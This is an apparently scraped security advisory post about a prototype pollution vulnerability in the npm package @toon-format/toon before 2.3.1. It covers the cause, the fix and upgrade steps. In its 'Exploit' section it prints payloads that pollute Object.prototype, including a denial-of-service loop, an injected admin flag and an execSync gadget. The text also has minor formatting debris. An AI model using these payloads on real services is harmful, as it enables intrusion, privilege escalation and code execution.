Listen to this Post
Decoding attacker-controlled TOON containing a __proto__, constructor, or `prototype` key wrote through the object’s prototype chain instead of creating an own property, polluting `Object.prototype` for the whole runtime. The root cause lies in the `insertPathSafe` function within packages/toon/src/decode/expand.ts, where the decoder failed to differentiate between an object’s own properties and inherited properties when parsing untrusted input. The `expandPaths: ‘safe’` path, which processes dotted keys such as a.__proto__.x, was the strongest attack vector. Plain nested objects, tabular rows, quoted keys, and streaming decode were all affected. An attacker supplying input containing these special keys could cause the library to write directly into JavaScript’s Object.prototype, polluting the global runtime environment. The encoder had a matching defect: it silently dropped own `__proto__` properties and could invoke an inherited setter during normalization. This behavior allowed attackers to alter the runtime environment, leading to application crashes (denial of service) or, when a suitable downstream gadget was present, remote code execution. No workarounds exist for this vulnerability; users must upgrade to version 2.3.1 or later. The fix materializes __proto__/constructor/prototype as ordinary own data properties using Object.defineProperty, matching `JSON.parse` semantics. The same bug shape can exist in any implementation that assigns decoded keys with obj
= value</code>; Rust, Swift, Java, Python, and C ports should audit their object-construction and path-expansion paths for the three prototype keys. <h2 style="color: blue;">DailyCVE Form:</h2> Platform: @toon-format/toon (npm) Version: < 2.3.1 Vulnerability: Prototype Pollution (CWE-1321) Severity: Critical (CVSS 8.3) date: 2026-09-02 <h2 style="color: blue;">Prediction: 2026-09-15</h2> <h2 style="color: blue;">What Undercode Say:</h2> [bash] Check currently installed version npm list @toon-format/toon Install patched version npm install @toon-format/[email protected] Verify installation npm list @toon-format/toon
// 🚨 VULNERABLE CODE (pre-2.3.1)
// Decoding attacker-controlled TOON with prototype keys
const { decode } = require('@toon-format/toon');
const maliciousTOON = <code>a.__proto__.isAdmin = true
b.constructor.prototype.isAdmin = true
c.prototype.isAdmin = true
`;
const result = decode(maliciousTOON);
// Object.prototype.isAdmin is now true for ALL objects!
// ✅ PATCHED CODE (2.3.1+)
// Prototype keys are materialized as ordinary own properties
const { decode } = require('@toon-format/toon');
const safeTOON = `
a.__proto__.isAdmin = true
`;
const result = decode(safeTOON);
// __proto__ becomes an own property of the decoded object
// Object.prototype remains untouched
// Pre-decoding input validation (temporary mitigation)
function rejectPrototypeKeys(input) {
const forbidden = ['__proto__', 'constructor', 'prototype'];
if (forbidden.some(key => input.includes(key))) {
throw new Error('Input contains forbidden prototype key');
}
return input;
}
Exploit: (Educational Purposes!)
// Attacker-controlled TOON payload
const exploitPayload = `
Denial of Service - override critical methods
__proto__.toString = function() { while(true) {} }
Property injection - pollute global object
constructor.prototype.admin = true
Gadget chaining - RCE via downstream usage
prototype.exec = function(cmd) { require('child_process').execSync(cmd) }</code>;
// When decoded by vulnerable library:
// 1. All objects now have a hanging toString() method
// 2. Any object check for 'admin' property returns true
// 3. If downstream code calls .exec() on any object, RCE occurs
Protection:
Upgrade to `@toon-format/[email protected]` immediately. The patch introduces own-data-property writes using `Object.defineProperty` so `__proto__` does not invoke prototype accessors. It also uses `Object.hasOwn` checks during safe dotted-path expansion to prevent inherited names from creating false conflicts or redirecting traversal onto Object.prototype. The encoder now preserves own `__proto__` properties through normalization and replacer traversal. Tabular rows now require every header field to be an own property, preventing inherited properties from fabricating columns or replacing row data. Callers who cannot upgrade should reject input whose keys include __proto__, constructor, or `prototype` before decoding. Audit other language ports (Rust, Swift, Java, Python, C) for similar unsafe object-construction patterns where keys are assigned directly without validation.
Impact:
Any service that decodes untrusted TOON input is vulnerable. The vulnerability can be exploited remotely without authentication. Impact ranges from denial of service (application crashes) to full remote code execution when a suitable downstream gadget is present. The library is commonly used for data interchange, making the scope of potential exploitation wide for any application relying on this package for serialization or deserialization tasks. All versions prior to 2.3.1 are affected, including 0.6.0 through 2.3.0. The vulnerability has been assigned CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
